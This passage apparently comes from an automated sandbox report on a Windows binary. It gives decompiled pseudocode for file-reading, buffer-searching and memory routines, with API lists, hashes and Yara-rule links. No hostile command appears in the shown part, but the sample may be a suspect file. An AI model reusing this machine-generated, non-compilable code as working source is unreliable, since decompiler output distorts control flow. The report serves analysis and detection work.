					_t61 = E004030D6(_v8, _v56, __eflags, _v44,  &_v32); // executed
					__eflags = _t61;
					if(_t61 != 0) {
						__eflags =  *(_t107 + 4);
						if(__eflags != 0) {
							E004144C5(_t107, "\r\n");
						}
						E004144FB(_t107, __eflags,  &_v32);
						_t79 = 1;
					}
					_t108 =  &(_t108[1]);
					__eflags = _t108;
					_t102 =  *_t108;
				}
				E00403F60( *0x422730 & 0x0000ffff, _t102);
				_t67 = E004030D6(_v8, _v56, _t117, _v44,  &_v32); // executed
				_t118 = _t67;
				if(_t67 != 0) {
					_t79 = 1;
				}
				E004144FB(_t107, _t118,  &_v32);
				_t105 = _v20;
				_t109 =  &_v20;
				while(_t105 != 0) {
					E00403F60( *0x422730 & 0x0000ffff, _t105,  &_v56,  &_v44);
					_t74 = E004030D6(_v8, _v56, __eflags, _v44,  &_v32); // executed
					__eflags = _t74;
					if(_t74 != 0) {
						__eflags =  *(_t107 + 4);
						if(__eflags != 0) {
							E004144C5(_t107, "\r\n");
						}
						E004144FB(_t107, __eflags,  &_v32);
						_t79 = 1;
					}
					_t109 =  &(_t109[1]);
					__eflags = _t109;
					_t105 =  *_t109;
				}
				_push(_v32);
				L0041C160();
				_push(_v44);
				L0041C160();
				_push(_v56);
				L0041C160();
				return _t79;
			}

APIs

Part of subcall function 00403ECA: GetProcAddress.KERNEL32(GetNativeSystemInfo), ref: 00403EDB
Part of subcall function 00403ECA: GetNativeSystemInfo.KERNELBASE(?,?,?,00403EFA,004060E6,00000001,00000001,00000000,?,00000000), ref: 00403EE9

??3@YAXPAX@Z.MSVCRT ref: 00404EF2
??3@YAXPAX@Z.MSVCRT ref: 00404EFA
??3@YAXPAX@Z.MSVCRT ref: 00404F02

Memory Dump Source

Source File: 00000010.00000002.708189503.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.708184369.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000010.00000002.708207849.000000000041D000.00000002.00020000.sdmp Download File
Associated: 00000010.00000002.708216748.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000010.00000002.708225050.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: ??3@$AddressInfoNativeProcSystem
String ID:
API String ID: 3731959171-0
Opcode ID: e7913fd9b2038a61d425995d58e570c61fc8ac8ba1c02f671b2581e736df3aa8
Instruction ID: 22c72f549c8d9d607ce2050e0226bf1ce9e8af4da17dc6dbc20fb89fd3f62798
Opcode Fuzzy Hash: e7913fd9b2038a61d425995d58e570c61fc8ac8ba1c02f671b2581e736df3aa8
Instruction Fuzzy Hash: 164132B1E0110EAACF04EF95C8819EFB77ABF84308F14412BE51577295DB3C5A46CB98

Uniqueness

Uniqueness Score: -1.00%

Function 00414864, Relevance: 4.5, APIs: 3, Instructions: 44
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E00414864(void** __ecx, void* _a4) {
				void* _t20;
				signed int _t31;
				void** _t33;
				void* _t34;
				void* _t35;
				void* _t40;

				_t35 = _a4;
				_t34 = 0;
				_t33 = __ecx;
				if( *_t35 != 0) {
					do {
						_t34 = _t34 + 1;
					} while ( *((short*)(_t35 + _t34 * 2)) != 0);
				}
				_t40 = _t34 - _t33[2];
				if(_t40 > 0) {
					_t31 = 2;
					_t20 = (_t34 + 1) * _t31;
					_push( ~(0 | _t40 > 0x00000000) | _t20); // executed
					L0041C16C(); // executed
					_push( *_t33);
					L0041C160();
					 *_t33 = _t20;
					_t33[2] = _t34;
				}
				_t33[1] = _t34;
				memcpy( *_t33, _t35, _t34 + _t34 + 2);
				return _t33;
			}

APIs

??2@YAPAXI@Z.MSVCRT ref: 00414896
??3@YAXPAX@Z.MSVCRT ref: 0041489F
memcpy.MSVCRT ref: 004148B7

Memory Dump Source

Source File: 00000010.00000002.708189503.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.708184369.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000010.00000002.708207849.000000000041D000.00000002.00020000.sdmp Download File
Associated: 00000010.00000002.708216748.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000010.00000002.708225050.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: ??2@??3@memcpy
String ID:
API String ID: 1695611338-0
Opcode ID: 9ab0973ae346b82445c8537c449f14d5ae802d9cb0ee503312eee215456cf9cc
Instruction ID: 41b234041f6f91087d42b0e57e97fd4fa0d4009db4bb1be59154aa6f59a166d2
Opcode Fuzzy Hash: 9ab0973ae346b82445c8537c449f14d5ae802d9cb0ee503312eee215456cf9cc
Instruction Fuzzy Hash: A4F028776402157BC714AF66DC4189BF7B8FB84750B10C53FF11983241E774E8908B98

Uniqueness

Uniqueness Score: -1.00%

Function 004030D6, Relevance: 3.9, APIs: 3, Instructions: 125
stringCOMMON

Download Yara Rule

C-Code - Quality: 52%

			E004030D6(intOrPtr* __ecx, CHAR* __edx, void* __eflags, CHAR* _a4, intOrPtr* _a8) {
				char _v5;
				intOrPtr* _v12;
				char _v16;
				int _v20;
				char _v24;
				char _v28;
				CHAR* _v32;
				int _v36;
				char _v40;
				intOrPtr _v44;
				char _v48;
				intOrPtr* _v52;
				void _v4148;
				intOrPtr* _t66;
				intOrPtr _t73;
				intOrPtr _t74;
				intOrPtr* _t81;
				char _t83;
				intOrPtr* _t86;
				intOrPtr _t92;
				intOrPtr _t95;
				intOrPtr _t99;
				intOrPtr* _t104;
				int _t108;
				void* _t111;
				void* _t112;

				_t86 = __ecx;
				E0041C1C0(0x1030, __ecx);
				_t104 = _t86;
				_v32 = __edx;
				_v52 = _t104;
				 *((intOrPtr*)( *_t104 + 0x10))(_t104, 0, 0, 0, 0);
				_t66 = _a8;
				 *((intOrPtr*)(_t66 + 4)) = 0;
				 *((char*)( *_t66)) = 0;
				_v20 = lstrlenA(_v32);
				_v36 = lstrlenA(_a4);
				_t108 = 0;
				_v5 = 0;
				_v28 = 0;
				_v24 = 0;
				while(1) {
					L2:
					_push( &_v48);
					_push(0x1000 - _t108);
					_push(_t111 + _t108 - 0x1030);
					_push(_t104); // executed
					if( *((intOrPtr*)( *_t104 + 0xc))() != 0) {
						break;
					}
					_t73 = _v48;
					if(_t73 == 0) {
						break;
					}
					_t74 = _t73 + _t108;
					_v44 = _t74;
					_v16 = 0;
					_v12 =  &_v4148;
					while(1) {
						L5:
						_t92 = _v16;
						_t99 = _t74;
						if(_v5 == 0) {
							break;
						}
						if(_t92 > _t99 - _v36) {
							L14:
							_v28 = _v28 + _t92;
							_t108 = _t74 - _t92;
							asm("adc [ebp-0x14], ebx");
							memmove( &_v4148, _t111 + _t92 - 0x1030, _t108);
							_t112 = _t112 + 0xc;
							if(_v24 > 0 || _v28 > 0x100000) {
								return 0 |  *((intOrPtr*)(_a8 + 4)) != 0x00000000;
							} else {
								_t104 = _v52;
								goto L2;
							}
						}
						_t81 = _v12;
						asm("repe cmpsb");
						if(0 == 0) {
							return 1;
						}
						_t83 =  *_t81;
						_v40 = _t83;
						if(_t83 == 0) {
							goto L18;
						}
						E00402F9F(_a8, _v40);
						_v16 = _v16 + 1;
						_v12 = _v12 + 1;
						_t74 = _v44;
					}
					if(_t92 > _t99 - _v20) {
						goto L14;
					}
					asm("repe cmpsb");
					if(0 != 0) {
						_v16 = _v16 + 1;
						_v12 = _v12 + 1;
					} else {
						_t95 = _v20;
						_v16 = _v16 + _t95;
						_v12 = _v12 + _t95;
						_v5 = 1;
					}
					goto L5;
				}
				L18:
				return 0;
			}

APIs

lstrlenA.KERNEL32(?,?,00000000,00000000,00000000,00000000,?,00566858,00000000,?,00404E00,?,?,?,?,?), ref: 0040310D
lstrlenA.KERNEL32(00566858,?,00000000,00000000,00000000,00000000,?,00566858,00000000,?,00404E00,?,?,?,?,?), ref: 00403115
memmove.MSVCRT ref: 004031F8

Memory Dump Source

Source File: 00000010.00000002.708189503.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.708184369.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000010.00000002.708207849.000000000041D000.00000002.00020000.sdmp Download File
Associated: 00000010.00000002.708216748.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000010.00000002.708225050.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: lstrlen$memmove
String ID:
API String ID: 1832346882-0
Opcode ID: 5822003b85987e6036de6aec5d2bc904ab5e1e21d5ee4ecd78f4138bcaa71753
Instruction ID: 93814ce0f0a0d2477efb8002a8279e42b82102d5932b68c1d783b4d7f2fd7925
Opcode Fuzzy Hash: 5822003b85987e6036de6aec5d2bc904ab5e1e21d5ee4ecd78f4138bcaa71753
Instruction Fuzzy Hash: D5412871D04258AFCB14CFA9D8808EEBBB9FF48351F1480AAE815B7341D7789E46CB64

Uniqueness

Uniqueness Score: -1.00%

Function 00405319, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 55
COMMON

Download Yara Rule

C-Code - Quality: 33%

			E00405319(intOrPtr __ecx, char __edx, void* __eflags, intOrPtr* _a4) {
				char _v8;
				intOrPtr* _v16;
				char _v20;
				void* _t11;
				void* _t15;
				intOrPtr _t19;
				void* _t34;

				_t34 = __eflags;
				_v8 = __edx;
				E004143C2(_t11,  &_v20);
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				_push(__ecx);
				 *((intOrPtr*)( *((intOrPtr*)(__ecx)) + 0x10))();
				_t15 = E00404D7F(__ecx,  &_v20, _t34); // executed
				if(_t15 != 0 || _v8 != 0) {
					__eflags = _v16;
					if(__eflags == 0) {
						L8:
						_t25 = _a4;
						__eflags = _a4;
						if(_a4 != 0) {
							E0041447C(_t25,  &_v20);
						}
						goto L4;
					}
					_t19 = E0040502A( &_v20, 0, __eflags);
					__eflags = _t19;
					if(_t19 != 0) {
						goto L8;
					}
					_push(4);
					goto L3;
				} else {
					_push(9);
					_push(0);
					E00409684( &_v20);
					_push(3);
					L3:
					_pop(0);
					L4:
					_push(_v20);
					L0041C160();
					return 0;
				}
			}

APIs

Part of subcall function 004143C2: ??2@YAPAXI@Z.MSVCRT ref: 004143CA

Part of subcall function 00404D7F: ??3@YAXPAX@Z.MSVCRT ref: 00404EF2
Part of subcall function 00404D7F: ??3@YAXPAX@Z.MSVCRT ref: 00404EFA
Part of subcall function 00404D7F: ??3@YAXPAX@Z.MSVCRT ref: 00404F02

??3@YAXPAX@Z.MSVCRT ref: 0040535D

Part of subcall function 00409684: wvsprintfW.USER32(?,00000000,?), ref: 004096A7
Part of subcall function 00409684: GetLastError.KERNEL32 ref: 004096B8
Part of subcall function 00409684: FormatMessageW.KERNEL32(00001100,00000000,00000000,?,?,00000000,00566858), ref: 004096E0
Part of subcall function 00409684: FormatMessageW.KERNEL32(00001100,00000000,?,00000000,?,00000000,00566858), ref: 004096F5
Part of subcall function 00409684: lstrlenW.KERNEL32(?), ref: 00409708
Part of subcall function 00409684: lstrlenW.KERNEL32(?), ref: 0040970F
Part of subcall function 00409684: ??2@YAPAXI@Z.MSVCRT ref: 00409724
Part of subcall function 00409684: lstrcpyW.KERNEL32(00000000,?), ref: 0040973A
Part of subcall function 00409684: lstrcpyW.KERNEL32(-00000002,?), ref: 0040974C
Part of subcall function 00409684: ??3@YAXPAX@Z.MSVCRT ref: 00409756
Part of subcall function 00409684: LocalFree.KERNEL32(?), ref: 0040975F

Strings

XhV, xrefs: 0040531F

Memory Dump Source

Source File: 00000010.00000002.708189503.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.708184369.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000010.00000002.708207849.000000000041D000.00000002.00020000.sdmp Download File
Associated: 00000010.00000002.708216748.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000010.00000002.708225050.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: ??3@$??2@FormatMessagelstrcpylstrlen$ErrorFreeLastLocalwvsprintf
String ID: XhV
API String ID: 3247304187-2999104372
Opcode ID: a9f0acc5fd2654189d5bbd3698580afd54add0c88848862a7410559c596febd5
Instruction ID: d99cd7d07d450def43454dd97523081ea0e1bff39705ecaa915bff4ace688a24
Opcode Fuzzy Hash: a9f0acc5fd2654189d5bbd3698580afd54add0c88848862a7410559c596febd5
Instruction Fuzzy Hash: FA01D271604608AEEF14AAA49CC19BF7368EB10388F04447FF911371C2DAB95E048A9C

Uniqueness

Uniqueness Score: -1.00%

Function 004075CF, Relevance: 3.0, APIs: 2, Instructions: 34
COMMON

Download Yara Rule

C-Code - Quality: 88%

			E004075CF(intOrPtr* __ecx, void* __edx, void* __eflags) {
				void* _t8;
				int _t15;
				void* _t20;
				intOrPtr* _t24;
				signed int _t26;
				signed int _t27;

				_t20 = __edx;
				_t24 = __ecx;
				 *__ecx = 0x41ee80;
				E004147DF(_t8, __ecx + 0x3c);
				 *((intOrPtr*)(__ecx + 4)) = 0;
				 *((intOrPtr*)(__ecx + 8)) = 0;
				 *((intOrPtr*)(__ecx + 0x10)) = 0;
				 *((intOrPtr*)(__ecx + 0xc)) = 0;
				 *((intOrPtr*)(__ecx + 0x1c)) = 0x18;
				 *((intOrPtr*)(__ecx + 0x38)) = 0;
				_t26 =  *0x4228ac; // 0x280
				if(_t26 == 0) {
					_t27 =  *0x4228b0; // 0x1e0
					if(_t27 == 0) {
						GetSystemMetrics(0x10); // executed
						asm("cdq");
						 *0x4228ac = 0 - _t20 >> 1;
						_t15 = GetSystemMetrics(0x11);
						asm("cdq");
						 *0x4228b0 = _t15 - _t20 >> 1;
					}
				}
				return _t24;
			}

APIs

Part of subcall function 004147DF: ??2@YAPAXI@Z.MSVCRT ref: 004147E7

KiUserCallbackDispatcher.NTDLL ref: 00407611
GetSystemMetrics.USER32 ref: 0040761F

Memory Dump Source

Source File: 00000010.00000002.708189503.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.708184369.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000010.00000002.708207849.000000000041D000.00000002.00020000.sdmp Download File
Associated: 00000010.00000002.708216748.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000010.00000002.708225050.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: ??2@CallbackDispatcherMetricsSystemUser
String ID:
API String ID: 145748454-0
Opcode ID: 80a77b5a3344e25ea2b7d0931445c3057c7d5eaafae3869ce9cddb487c245e27
Instruction ID: 6ce0d3d2a294cc817c3ed94d35c4e8eadf3e8454e0af582e39282335f7eac732
Opcode Fuzzy Hash: 80a77b5a3344e25ea2b7d0931445c3057c7d5eaafae3869ce9cddb487c245e27
Instruction Fuzzy Hash: 14F01DB0A00B019FD3B0EF7D9D00686BBE5BB48310B458A3FD596C3690E7B4E4468F59

Uniqueness

Uniqueness Score: -1.00%

Function 00413E3A, Relevance: 3.0, APIs: 2, Instructions: 34
COMMON

Download Yara Rule

C-Code - Quality: 79%

			E00413E3A(void** __ecx, long _a4, long _a8, long _a12, intOrPtr* _a16) {
				long _v8;
				long _t11;
				intOrPtr* _t13;
				void* _t14;
				long _t23;

				_push(__ecx);
				_v8 = _a8;
				_t11 = SetFilePointer( *__ecx, _a4,  &_v8, _a12); // executed
				_t23 = _t11;
				if(_t23 != 0xffffffff || GetLastError() == 0) {
					asm("adc edx, eax");
					_t13 = _a16;
					 *_t13 = 0 + _t23;
					 *((intOrPtr*)(_t13 + 4)) = _v8;
					_t14 = 1;
				} else {
					_t14 = 0;
				}
				return _t14;
			}

0x00413e3d
0x00413e47
0x00413e56
0x00413e5c
0x00413e61
0x00413e7a
0x00413e7c
0x00413e7f
0x00413e81
0x00413e84
0x00413e6d
0x00413e6d
0x00413e6d
0x00413e88

APIs

SetFilePointer.KERNELBASE(?,?,?,?), ref: 00413E56
GetLastError.KERNEL32(?,?,?,?), ref: 00413E63

Memory Dump Source

Source File: 00000010.00000002.708189503.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.708184369.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000010.00000002.708207849.000000000041D000.00000002.00020000.sdmp Download File
Associated: 00000010.00000002.708216748.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000010.00000002.708225050.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: 007787c2f3829a3ae304c77fe7b9cc5777807232d41288a06886aba40bf6d8ab
Instruction ID: e393e3b0b581c03f2e1373165af33d27313eb1f81299ccbe74c3423d21431cf3
Opcode Fuzzy Hash: 007787c2f3829a3ae304c77fe7b9cc5777807232d41288a06886aba40bf6d8ab
Instruction Fuzzy Hash: 27F03AB5A00318AF8F00CF68DC049DB7BE9AF49320B148169E816D73A1E635DE51EBA4

Uniqueness

Uniqueness Score: -1.00%

Function 0041C172, Relevance: 3.0, APIs: 2, Instructions: 12COMMON

Download Yara Rule

APIs

_onexit.KERNELBASE ref: 0041C17F
__dllonexit.MSVCRT ref: 0041C195

Memory Dump Source

Source File: 00000010.00000002.708189503.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.708184369.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000010.00000002.708207849.000000000041D000.00000002.00020000.sdmp Download File
Associated: 00000010.00000002.708216748.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000010.00000002.708225050.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: __dllonexit_onexit
String ID:
API String ID: 2384194067-0
Opcode ID: 3f6902fc8b7ba21d02d425c2127135aaf0fa078405c295ac591937e8f1ed3469
Instruction ID: d90210f8ed818c547b06286f749277b62e7de9e8c25a3e05c31bbee2e42e59a4
Opcode Fuzzy Hash: 3f6902fc8b7ba21d02d425c2127135aaf0fa078405c295ac591937e8f1ed3469
Instruction Fuzzy Hash: 8CC0C7745C6200F6D5212711FD055957611D650721BA1C366B0A9114E187394411B909

Uniqueness

Uniqueness Score: -1.00%

Function 00418B0C, Relevance: 1.6, APIs: 1, Instructions: 104
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E00418B0C() {
				intOrPtr* _t47;
				intOrPtr* _t48;
				intOrPtr* _t49;
				intOrPtr* _t50;
				intOrPtr* _t56;
				intOrPtr* _t57;
				void* _t66;
				intOrPtr* _t67;
				void* _t78;
				intOrPtr* _t80;
				void* _t82;
				intOrPtr* _t83;
				void* _t85;
				void* _t87;

				L0041C1F0();
				 *((intOrPtr*)(_t85 - 0x10)) = _t87 - 0x88;
				 *(_t85 - 4) = 0;
				_t83 =  *((intOrPtr*)(_t85 + 8));
				 *((intOrPtr*)( *_t83 + 0x10))(_t83, _t78, _t82, _t66);
				 *(_t85 - 4) = 1;
				_t67 =  *((intOrPtr*)(_t85 + 0x14));
				if(_t67 != 0) {
					 *((intOrPtr*)( *_t67 + 4))(_t67);
				}
				 *((intOrPtr*)(_t85 + 0x14)) = 0;
				_t91 = _t67;
				if(_t67 != 0) {
					 *((intOrPtr*)( *_t67))(_t67, 0x41d530, _t85 + 0x14);
				}
				 *((intOrPtr*)(_t85 - 0x94)) = 0;
				 *((intOrPtr*)(_t85 - 0x90)) = 0;
				 *((char*)(_t85 - 0x1c)) = 1;
				 *((char*)(_t83 + 0x140)) = 0;
				_push( *((intOrPtr*)(_t85 + 0x10)));
				_t80 = E00419788(_t85 - 0x94, _t91,  *((intOrPtr*)(_t85 + 0xc)));
				if(_t80 == 0) {
					 *((char*)(_t83 + 0x140)) = 1;
					_push(_t83 + 0x14c);
					_push(_t83 + 0x149);
					_push(_t83 + 0x148);
					_push( *((intOrPtr*)(_t85 + 0x14)));
					_push(_t83 + 0x10);
					_t47 = E0041B0DD(_t85 - 0x94); // executed
					_t80 = _t47;
					__eflags = _t80;
					if(_t80 != 0) {
						goto L5;
					} else {
						E004160A2(_t83 + 0xc,  *((intOrPtr*)(_t85 + 0xc)));
						_t56 =  *((intOrPtr*)(_t85 - 0x94));
						__eflags = _t56;
						if(_t56 != 0) {
							 *((intOrPtr*)( *_t56 + 8))(_t56);
						}
						_t57 =  *((intOrPtr*)(_t85 + 0x14));
						__eflags = _t57;
						if(_t57 != 0) {
							 *((intOrPtr*)( *_t57 + 8))(_t57);
						}
						__eflags = _t67;
						if(_t67 != 0) {
							 *((intOrPtr*)( *_t67 + 8))(_t67);
						}
						 *(_t85 - 4) =  *(_t85 - 4) & 0x00000000;
						_t50 = 0;
					}
				} else {
					L5:
					_t48 =  *((intOrPtr*)(_t85 - 0x94));
					if(_t48 != 0) {
						 *((intOrPtr*)( *_t48 + 8))(_t48);
					}
					_t49 =  *((intOrPtr*)(_t85 + 0x14));
					if(_t49 != 0) {
						 *((intOrPtr*)( *_t49 + 8))(_t49);
					}
					if(_t67 != 0) {
						 *((intOrPtr*)( *_t67 + 8))(_t67);
					}
					_t50 = _t80;
				}
				 *[fs:0x0] =  *((intOrPtr*)(_t85 - 0xc));
				return _t50;
			}

APIs

_EH_prolog.MSVCRT ref: 00418B11

Part of subcall function 0041B0DD: _EH_prolog.MSVCRT ref: 0041B0E2

Memory Dump Source

Source File: 00000010.00000002.708189503.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.708184369.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000010.00000002.708207849.000000000041D000.00000002.00020000.sdmp Download File
Associated: 00000010.00000002.708216748.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000010.00000002.708225050.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: b48e2961efca33cdc268dc06a9db708dae6e35986a8212076dca9429ba69aabe
Instruction ID: 224d0b28c9c96a8b720adceb05dc78df915ef04c78251989e0adf3722648e023
Opcode Fuzzy Hash: b48e2961efca33cdc268dc06a9db708dae6e35986a8212076dca9429ba69aabe
Instruction Fuzzy Hash: CC418871600609AFCB21CF64C884BDBB7B9AF44304F0444AEF84ADB251DB39ED81CB64

Uniqueness

Uniqueness Score: -1.00%

Function 0041B0DD, Relevance: 1.5, APIs: 1, Instructions: 34
COMMON

Download Yara Rule

C-Code - Quality: 92%

			E0041B0DD(signed int __ecx) {
				void* _t17;
				signed int _t26;
				void* _t31;
				intOrPtr _t33;

				_t23 = __ecx;
				L0041C1F0();
				_push(__ecx);
				 *((intOrPtr*)(_t31 - 0x10)) = _t33;
				 *(_t31 - 4) =  *(_t31 - 4) & 0x00000000;
				_t26 =  *((intOrPtr*)(_t31 + 8));
				_t17 = E0041AE02(__ecx, _t26,  *((intOrPtr*)(_t31 + 0xc)),  *((intOrPtr*)(_t31 + 0x10)),  *((intOrPtr*)(_t31 + 0x14)),  *((intOrPtr*)(_t31 + 0x18))); // executed
				if( *((char*)(__ecx + 0x3c)) != 0) {
					 *((char*)(_t26 + 0x132)) = 1;
				}
				if(_t17 != 0x80004001) {
					 *[fs:0x0] =  *((intOrPtr*)(_t31 - 0xc));
					return _t17;
				} else {
					E00418E04(_t23);
					 *((char*)( *((intOrPtr*)(_t31 + 8)) + 0x136)) = 1;
					 *(_t31 - 4) =  *(_t31 - 4) | 0xffffffff;
					return E0041B136;
				}
			}

APIs

_EH_prolog.MSVCRT ref: 0041B0E2

Memory Dump Source

Source File: 00000010.00000002.708189503.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.708184369.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000010.00000002.708207849.000000000041D000.00000002.00020000.sdmp Download File
Associated: 00000010.00000002.708216748.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000010.00000002.708225050.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 667eae066e17802bf22880d5056c4320b86ac6ca1fb471da5ead366e8fa87735
Instruction ID: 7f33fe341473cbd1ce67957057ba73322e56dc0cdd0527969264fce869e679db
Opcode Fuzzy Hash: 667eae066e17802bf22880d5056c4320b86ac6ca1fb471da5ead366e8fa87735
Instruction Fuzzy Hash: 25F0FF32540248BFDB21CF58C986BDEBBB1EB00368F08855EF80592261C3799990CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 00413FD8, Relevance: 1.5, APIs: 1, Instructions: 22
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00413FD8(signed int* __ecx, void* __eflags, WCHAR* _a4, long _a8, long _a12, long _a16, long _a20) {
				void* _t8;
				signed int _t9;
				signed int* _t13;

				_t13 = __ecx;
				_t8 = E00413DDA(__ecx);
				if(_t8 != 0) {
					_t9 = CreateFileW(_a4, _a8, _a12, 0, _a16, _a20, 0); // executed
					 *_t13 = _t9;
					return _t9 & 0xffffff00 | _t9 != 0xffffffff;
				}
				return _t8;
			}

0x00413fdc
0x00413fde
0x00413fe5
0x00413ffa
0x00414005
0x00000000
0x00414007
0x0041400c

APIs

Part of subcall function 00413DDA: CloseHandle.KERNEL32(?,00000014,00413FE3,00000000,?,00414029,?,80000000,00000000,00000000,00000000,0041404C,00000000,?,00000003,00000080), ref: 00413DE5

CreateFileW.KERNELBASE(?,0040995F,00000000,00000000,?,0041405A,00000000,00000000,?,00414029,?,80000000,00000000,00000000,00000000,0041404C), ref: 00413FFA

Memory Dump Source

Source File: 00000010.00000002.708189503.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.708184369.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000010.00000002.708207849.000000000041D000.00000002.00020000.sdmp Download File
Associated: 00000010.00000002.708216748.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000010.00000002.708225050.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: CloseCreateFileHandle
String ID:
API String ID: 3498533004-0
Opcode ID: 5ea8ab8a2c0165d1c32804d1041ac21f8da3c3234316c2d1c2c91c72e9c780df
Instruction ID: 25576dffacfddd49299a2c5938d5f916c6c0a3737d2a1d54cb842f78843bf2a4
Opcode Fuzzy Hash: 5ea8ab8a2c0165d1c32804d1041ac21f8da3c3234316c2d1c2c91c72e9c780df
Instruction Fuzzy Hash: 47E08632100219BBCF211FA49C02BCA3F56AF18360F108116FB11561E0C772D4B0AB94

Uniqueness

Uniqueness Score: -1.00%

Function 00413EA1, Relevance: 1.5, APIs: 1, Instructions: 18
fileCOMMON

Download Yara Rule

C-Code - Quality: 75%

			E00413EA1(void** __ecx, void* _a4, long _a8, intOrPtr* _a12) {
				long _v8;
				signed int _t11;

				_push(__ecx);
				_v8 = _v8 & 0x00000000;
				_t11 = ReadFile( *__ecx, _a4, _a8,  &_v8, 0); // executed
				 *_a12 = _v8;
				return _t11 & 0xffffff00 | _t11 != 0x00000000;
			}

0x00413ea4
0x00413ea5
0x00413eb7
0x00413ec5
0x00413ecb

APIs

ReadFile.KERNELBASE(?,?,?,00000000,00000000), ref: 00413EB7

Memory Dump Source

Source File: 00000010.00000002.708189503.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.708184369.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000010.00000002.708207849.000000000041D000.00000002.00020000.sdmp Download File
Associated: 00000010.00000002.708216748.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000010.00000002.708225050.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: aaa7fc0bee448c6a2f67fcdb91d4647745e8fe0572ea30e5d88b75afb862a541
Instruction ID: 9b454950ea75836eca7fe91a31d8659671653d16dcec92d246dd104a82401603
Opcode Fuzzy Hash: aaa7fc0bee448c6a2f67fcdb91d4647745e8fe0572ea30e5d88b75afb862a541
Instruction Fuzzy Hash: E2E0EC75600208FFDB01CF90CD01FDE7BBEEB49758F208058E90496160C775DA10EB54

Uniqueness

Uniqueness Score: -1.00%

Function 0041C173, Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

_onexit.KERNELBASE ref: 0041C17F

Memory Dump Source

Source File: 00000010.00000002.708189503.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.708184369.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000010.00000002.708207849.000000000041D000.00000002.00020000.sdmp Download File
Associated: 00000010.00000002.708216748.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000010.00000002.708225050.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: _onexit
String ID:
API String ID: 572287377-0
Opcode ID: 70708c98d1dc7566571e7de0e536aad1ca2b822a7fd5c0d4cc40cf7eb4ca856a
Instruction ID: 06dc4e053ff0de979efe87a70d7ae25a0d5be0b6429467df7d2fad60ad11e5ea
Opcode Fuzzy Hash: 70708c98d1dc7566571e7de0e536aad1ca2b822a7fd5c0d4cc40cf7eb4ca856a
Instruction Fuzzy Hash: 05B01275002000FBCF022F40ED0448DBF21EB48311B20C465F05A81031C732C421BB04

Uniqueness

Uniqueness Score: -1.00%

Function 00401303, Relevance: 1.3, APIs: 1, Instructions: 44
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E00401303(void* __ecx, void* __eflags) {
				intOrPtr* _t9;
				intOrPtr* _t10;
				intOrPtr* _t12;
				signed int _t13;
				intOrPtr* _t23;
				void* _t25;

				_t25 = __ecx;
				_t9 = E0040115F(__ecx);
				if(_t9 == 0) {
					_push(0xc);
					L0041C16C();
					if(_t9 == 0) {
						_t23 = 0;
					} else {
						 *((intOrPtr*)(_t9 + 4)) = 0x41f7c4;
						 *((intOrPtr*)(_t9 + 8)) = 0;
						 *_t9 = 0x41d5f0;
